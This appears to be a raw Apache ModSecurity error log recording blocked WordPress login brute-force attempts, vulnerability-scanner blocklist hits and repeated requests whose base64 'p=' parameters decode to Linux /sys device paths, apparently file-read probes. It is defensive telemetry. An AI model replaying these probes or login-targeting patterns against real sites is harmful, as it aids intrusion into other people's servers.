https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:24:21.110177 2026] [security2:error] [pid 646876:tid 647044] [client 159.223.112.69:48436] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30tdyTkdrNlD40tSHYXgAAACQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:21.328784 2026] [security2:error] [pid 646876:tid 647083] [client 159.223.112.69:48452] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30tdyTkdrNlD40tSHYZgAAAEs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:21.403126 2026] [security2:error] [pid 715691:tid 715888] [client 159.223.112.69:48462] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30tbV-dFiaX9AtWiQr7gAAATk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:21.423208 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:24:21.423696 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:24:21.449742 2026] [security2:error] [pid 646876:tid 647076] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/general_functions/escapeshellarg_error.phpt"] [unique_id "ai30tdyTkdrNlD40tSHYbAAAAEQ"] [Sat Jun 13 18:24:21.549077 2026] [security2:error] [pid 715691:tid 715951] [client 159.223.112.69:48470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30tbV-dFiaX9AtWiQr9wAAAXg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:21.563042 2026] [security2:error] [pid 715691:tid 715774] [remote 17.246.23.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30tbV-dFiaX9AtWiQr9gABKj8"] [Sat Jun 13 18:24:21.702912 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.16:51142] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:21.703373 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.16:51142] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:21.726394 2026] [access_compat:error] [pid 715691:tid 715722] [remote 57.141.14.94:50096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:21.726943 2026] [access_compat:error] [pid 715691:tid 715722] [remote 57.141.14.94:50096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:21.868324 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.86:56426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:21.868717 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.86:56426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:21.931164 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:24:21.931634 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:24:22.022089 2026] [security2:error] [pid 646876:tid 646989] [remote 17.241.219.65:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 65.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ttyTkdrNlD40tSHYgQAAJm4"] [Sat Jun 13 18:24:22.060361 2026] [security2:error] [pid 646876:tid 646898] [remote 57.141.14.108:59175] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30ttyTkdrNlD40tSHYgwAABxM"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=1923&_wpnonce=8d149de2a5&add-to-cart=1923 [Sat Jun 13 18:24:22.167036 2026] [security2:error] [pid 715691:tid 715831] [remote 145.239.79.139:37940] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "website-4f489b17.pgt.qqk.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai30trV-dFiaX9AtWiQsGAABWHg"] [Sat Jun 13 18:24:22.258042 2026] [security2:error] [pid 715691:tid 715888] [client 13.140.175.37:59040] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "bryantomlinson.com"] [uri "/"] [unique_id "ai30trV-dFiaX9AtWiQsHAAAATk"] [Sat Jun 13 18:24:22.337520 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.64:41850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:22.337817 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.64:41850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:22.446611 2026] [security2:error] [pid 646876:tid 646966] [remote 17.22.253.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ttyTkdrNlD40tSHYjgAAH1c"] [Sat Jun 13 18:24:22.540468 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:24:22.540756 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:24:22.605321 2026] [security2:error] [pid 715691:tid 715736] [remote 143.198.203.76:38736] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.203.198.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "madagascar-foundation.org"] [uri "/wp-login.php"] [unique_id "ai30trV-dFiaX9AtWiQsJgABVRo"] [Sat Jun 13 18:24:22.662757 2026] [security2:error] [pid 646876:tid 646998] [remote 17.241.227.166:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 166.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ttyTkdrNlD40tSHYlwAAZHc"] [Sat Jun 13 18:24:22.987713 2026] [security2:error] [pid 715691:tid 715875] [client 13.140.175.37:64603] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "bryantomlinson.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ai30trV-dFiaX9AtWiQsMgAAASw"] [Sat Jun 13 18:24:22.995393 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:24:22.995853 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:24:23.041839 2026] [security2:error] [pid 715691:tid 715836] [remote 143.198.203.76:38736] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.203.198.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "madagascar-foundation.org"] [uri "/wp-login.php"] [unique_id "ai30t7V-dFiaX9AtWiQsNgABJX0"], referer: https://madagascar-foundation.org/wp-login.php [Sat Jun 13 18:24:23.090536 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.63:27218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:23.091002 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.63:27218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:23.479999 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:24:23.480453 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:24:23.487085 2026] [security2:error] [pid 646876:tid 647006] [remote 17.22.253.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30t9yTkdrNlD40tSHYrQAAL38"] [Sat Jun 13 18:24:23.622744 2026] [security2:error] [pid 646876:tid 647088] [client 159.223.112.69:48472] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30t9yTkdrNlD40tSHYrwAAAFA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:23.639414 2026] [security2:error] [pid 715691:tid 715809] [remote 17.246.19.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30t7V-dFiaX9AtWiQsQwABG2I"] [Sat Jun 13 18:24:23.701519 2026] [security2:error] [pid 715691:tid 715881] [client 13.140.175.37:59953] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "bryantomlinson.com"] [uri "/media/system/js/core.js"] [unique_id "ai30t7V-dFiaX9AtWiQsRQAAATI"] [Sat Jun 13 18:24:23.841949 2026] [security2:error] [pid 646876:tid 647022] [client 159.223.112.69:48480] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30t9yTkdrNlD40tSHYtwAAAA4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:23.997586 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.36:43582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:23.998062 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.36:43582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:24.061788 2026] [security2:error] [pid 646876:tid 647045] [client 159.223.112.69:48492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30uNyTkdrNlD40tSHYwgAAACU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:24.073384 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:24:24.073782 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 